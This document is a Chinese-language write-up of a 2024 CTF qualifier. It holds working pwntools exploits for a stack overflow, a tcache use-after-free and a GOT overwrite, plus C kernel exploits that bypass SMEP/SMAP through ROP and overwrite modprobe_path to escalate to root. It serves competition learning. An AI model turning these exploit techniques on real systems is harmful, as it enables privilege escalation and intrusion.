长城杯京津冀2024初赛
flowershop:简单栈溢出
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def menu(choice):
sla('请输入你的选项:',choice)
def shop(buy):
menu('a')
sla('请输入购买的商品序号:',buy)
sa('你想要继续买花吗? 1/0','0')
def pwn():
payload=b'a'*(0x40-0xc)+b'pwn'
payload=payload.ljust(0x38,b'\x00')
payload+=p32(9999)
sa("请输入你的姓名:",payload)
shop('a')
shop('a')
shop('b')
dbg('b *0x0000000000400CE4')
menu('a')
sla('请输入购买的商品序号:','c')
rdi=0x0000000000400f13
ret=0x00000000004006f6
system=ep('system')
binsh=0x0000000000601840
payload=b'a'*0x18+flat([ret,rdi,binsh,system])
sa('你想要继续买花吗? 1/0',payload)
#dbg('')
itr()
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
context.terminal=["tmux","splitw","-h","-l 100"]
binary='./pwn'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()
Kylin_Heap:libc2.31 无限制UAF
直接tcache 打 __free_hook
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def menu(choice):
sla('What will you do, adventurer?',str(choice))
def add(size,content):
menu(1)
sla('bytes): ',str(size))
sa('bytes):',content)
def delete(idx):
menu(2)
sla('): ',str(idx))
def edit(idx,content):
menu(3)
sla('): ',str(idx))
sa('bytes):',content)
def show(idx):
menu(4)
sla('): ',str(idx))
def pwn():
add(0x410,b'aaa')
add(0x100,b'aaa')
add(0x100,b'aaa')
delete(0)
show(0)
ru('\n',True)
libc.address=u64(r(6).ljust(8,b'\x00'))-0x1ebbe0
lg('libc',libc.address)
__free_hook=ls('__free_hook')
system=ls('system')
delete(1)
delete(2)
edit(2,p64(__free_hook))
add(0x100,b'/bin/sh')#3
add(0x100,p64(system))#4
delete(3)
dbg('')
itr()
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
context.terminal=["tmux","splitw","-h","-l 100"]
binary='./pwn'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()
consumption:json序列化+指针覆盖打GOT
[*] '/home/xinri/ccb/consumption/pwn'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8047000)
RUNPATH: b'/home/xinri/glibc-all-in-one/libs/2.31-0ubuntu9.16_i386/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
漏洞点在于输入json序列化数据到 v12 时可以覆盖到 v13 存储的指针
这里的*a3
就是 v13 存储的指针,可以覆盖为 heaparray 打GOT
有个坑点是 error() 函数除了输出“out!”并没有什么用处,但我先入为主以为会exit,白耗了很长时间,nm
from pwn import *
import json
context.log_level = 'debug'
elf = ELF("./pwn")
p = elf.process()
#libc = ELF("/home/kamome/tools/glibc-all-in-one/libs/2.31-0ubuntu9.16_i386/libc.so.6")
libc = ELF("./libc.so.6")
def debug():
pause()
gdb.attach(p)
sleep(2)
def add_heap(size,content):
p.sendlineafter(b"5.exit\t\n",b'{"choice":"1","idx":0,"size":"' + bytes(str(size),encoding="utf-8") + b'","content":"' + content + b'"}')
def free_heap(idx):
p.sendlineafter(b"5.exit\t\n",'{"choice":"2","idx":' + str(idx) + ',"size":"","content":""}')
def show_heap(idx):
p.sendlineafter(b"5.exit\t\n",'{"choice":"3","idx":' + str(idx) + ',"size":"","content":""}')
def edit_heap(idx,content):
p.sendlineafter(b"5.exit\t\n",b'{"choice":"4","idx":1,"size":"","content":"' + content + b'"}')
#debug()
#pause()
heaplist = 0x08051B10
add_heap(8,b"/bin/sh")
#free_got = elf.got["free"]
printf_got = elf.got["printf"]
payload_1 = b"A" * 0x4cc + p32(heaplist + 4)
add_heap(printf_got,payload_1)
#add_heap(0x8,"AAAA")
show_heap(1)
libc.address = u32(p.recvuntil(b"\xf7")[-4:]) - libc.sym["printf"]
log.success("libc.address = " + hex(libc.address))
system = libc.sym["system"]
edit_heap(1,b"A" * 4 + p32(system))
free_heap(0)
#debug()
p.interactive()
Kylin_Driver:kROP
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel bzImage \
-initrd rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 loglevel=8 ttyS0,115200 kaslr" \
-cpu kvm64,+smep,+smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-no-reboot \
-no-shutdown
打开了 SMEP、SMAP、KASLR,经测试开了KPTI
载入了一个LKM,位置在 /lib/modules/5.10.0-9-generic/kernel/test.ko
注册了杂项设备结合注册结构体可知设备名称为test,该类设备的应用层接口位于/dev目录,并且为该设备注册了处理函数VrQsLpXwNfJrZtBpKjMvWsQpTyLnHrXs
。
首先校验我们传入的buf,要求逐位与0xF9异或之后等于gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc
- 0xDEADBEEF操作码:将驱动模块基址放进kbuf,再将整个kbuf与0xF9异或后放入到 buf + 0x20 处(password后面)
- 0xFEEDFACE操作码:将 buf+0x20 再拿出来与0xF9异或后放入kbuf,rsp指向kbuf进行retn
设置 nokaslr 后内核直接卡死了,目前原因不明,只能硬调kaslr了
先走常规rop链,我一开始不明白给我们一个LKM基址有什么用,哦原来是LKM里有对cr4操作的gadget,不关SMAP的话commit_cred会crash
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
#define CMD_READ 0xDEADBEEF
#define CMD_WRITE 0xFEEDFACE
#define POP_RDI_RET 0xffffffff81090c80+koff
#define MOV_RAX_RDI_RET 0xffffffff8308721f+koff
#define MOV_RDI_RAX_RET 0x0000000000000009+lkm
#define RET 0x000000000000000c+lkm
#define MOV_CR4_RDI_RET 0x000000000000000d+lkm
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
asm volatile(
"mov %0,cs;"
"mov %1,ss;"
"mov %2,rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
);
puts("[*] Success to saveStatus!");
}
static void errExit(char * msg){
printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
static void getRootShell(void){
if (!getuid()){
puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
system("/bin/sh");
}
else{
puts("\033[1;31m[-] <Get Root Error>\033[0m");
}
}
size_t commit_creds=0xffffffff810cf720;
size_t prepare_kernel_cred=0xffffffff810cfbe0;
size_t swapgs_restore_regs_and_return_to_usermode=0xffffffff81c00ff0;
size_t init_cred=0xffffffff82864660;
int main(int argc, char *argv[], char *envp[]){
saveStatus();
int fd = open("/dev/test",O_RDWR);
if (fd>0) puts("[+] Dev Opened");
char password[0x20]="gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc";
password[0x20]='\0';
for(int i=0; i<0x20; i++){
password[i] ^= 0xf9;
}
char *buf = malloc(0x500);
strncpy(buf, password, sizeof(password));
ioctl(fd, CMD_READ, buf);
char *content = buf+0x20;
while(*content){
*content++ ^= 0xf9;
}
content = buf+0x20;
for (int j=0; j<0x20; j++){
printf("buf[%d]: %lx\n",j,*(size_t *)content);
content+=8;
}
size_t leak1 = *(size_t *)(buf+0x20+22*8);//kbase
size_t leak2 = *(size_t *)(buf+0x20);//lkm
size_t koff = leak1-0x713ec1-0xffffffff81000000;
size_t lkm = leak2;
printf("[+] koff = 0x%lx\n", koff);
printf("[+] lkm = 0x%lx\n", lkm);
commit_creds+=koff;
prepare_kernel_cred+=koff;
swapgs_restore_regs_and_return_to_usermode+=koff;
init_cred+=koff;
printf("[+] commit_creds = 0x%lx\n", commit_creds);
printf("[+] init_cred = 0x%lx\n", init_cred);
printf("[+] swapgs_restore_regs_and_return_to_usermode = 0x%lx\n", swapgs_restore_regs_and_return_to_usermode);
size_t ropchain[0x10];
int i=0;
ropchain[i++]=POP_RDI_RET;
ropchain[i++]=0x6f0;
ropchain[i++]=MOV_CR4_RDI_RET;
ropchain[i++]=POP_RDI_RET;
ropchain[i++]=init_cred;
ropchain[i++]=commit_creds;
ropchain[i++]=swapgs_restore_regs_and_return_to_usermode+0x36;
ropchain[i++]=0;
ropchain[i++]=0;
ropchain[i++]=(size_t)getRootShell;
ropchain[i++]=user_cs;
ropchain[i++]=user_rflags;
ropchain[i++]=user_rsp;
ropchain[i++]=user_ss;
for (int j=0; j<sizeof(ropchain); j++){
*((char*)ropchain+j) ^= 0xf9;
}
strcpy(buf+0x20,(char *)ropchain);
ioctl(fd, CMD_WRITE, buf);
return 0;
}
团长的做法是修改 modprobe_path 指向提权脚本,更直接
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
#define CMD_READ 0xDEADBEEF
#define CMD_WRITE 0xFEEDFACE
#define POP_RDI_RET 0xffffffff81090c80+koff
#define POP_RSI_RET 0xffffffff811cc553+koff
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
asm volatile(
"mov %0,cs;"
"mov %1,ss;"
"mov %2,rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
);
puts("[*] Success to saveStatus!");
}
static void errExit(char * msg){
printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
static void getRootShell(void){
if (!getuid()){
puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
system("/bin/sh");
}
else{
puts("\033[1;31m[-] <Get Root Error>\033[0m");
}
}
static void modprobe_getflag(){
system("echo -e '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/xx");
system("chmod +x /tmp/xx");
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
system("echo [*] modprobe: `cat /proc/sys/kernel/modprobe`");
}
size_t modprobe_path=0xffffffff82864fc0;
size_t swapgs_restore_regs_and_return_to_usermode=0xffffffff81c00ff0;
int main(int argc, char *argv[], char *envp[]){
saveStatus();
int fd = open("/dev/test",O_RDWR);
if (fd>0) puts("[+] Dev Opened");
char password[0x20]="gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc";
password[0x20]='\0';
for(int i=0; i<0x20; i++){
password[i] ^= 0xf9;
}
char *buf = malloc(0x500);
strncpy(buf, password, sizeof(password));
ioctl(fd, CMD_READ, buf);
char *content = buf+0x20;
while(*content){
*content++ ^= 0xf9;
}
content = buf+0x20;
for (int j=0; j<0x20; j++){
printf("buf[%d]: %lx\n",j,*(size_t *)content);
content+=8;
}
size_t leak1 = *(size_t *)(buf+0x20+22*8);//kbase
size_t leak2 = *(size_t *)(buf+0x20);//lkm
size_t koff = leak1-0x713ec1-0xffffffff81000000;
size_t lkm = leak2;
printf("[+] koff = 0x%lx\n", koff);
printf("[+] lkm = 0x%lx\n", lkm);
modprobe_path+=koff;
swapgs_restore_regs_and_return_to_usermode+=koff;
printf("[+] modprobe_path = 0x%lx\n", modprobe_path);
size_t ropchain[0x10];
int i=0;
char target[]="/tmp/xx";
//0xffffffff8107c550 : mov qword ptr [rdi], rsi ; jmp 0xffffffff81e02640
ropchain[i++]=POP_RDI_RET;
ropchain[i++]=modprobe_path;
ropchain[i++]=POP_RSI_RET;
ropchain[i++]=*(size_t*)target;
ropchain[i++]=0xffffffff8107c550+koff;
ropchain[i++]=swapgs_restore_regs_and_return_to_usermode+0x36;
ropchain[i++]=0;
ropchain[i++]=0;
ropchain[i++]=(size_t)modprobe_getflag;
ropchain[i++]=user_cs;
ropchain[i++]=user_rflags;
ropchain[i++]=user_rsp;
ropchain[i++]=user_ss;
for (int j=0; j<sizeof(ropchain); j++){
*((char*)ropchain+j) ^= 0xf9;
}
strcpy(buf+0x20,(char *)ropchain);
ioctl(fd, CMD_WRITE, buf);
return 0;
}
动调脚本
#!/bin/bash
gdb -q \
-ex "" \
-ex "file ./vmlinux" \
-ex "set \$kobase = 0xffffffffc0068000" \
-ex "add-symbol-file ./rootfs/lib/modules/5.10.0-9-generic/kernel/test.ko \$kobase "\
-ex "target remote localhost:1234" \
-ex "b *(\$kobase+0x0000000000000282)"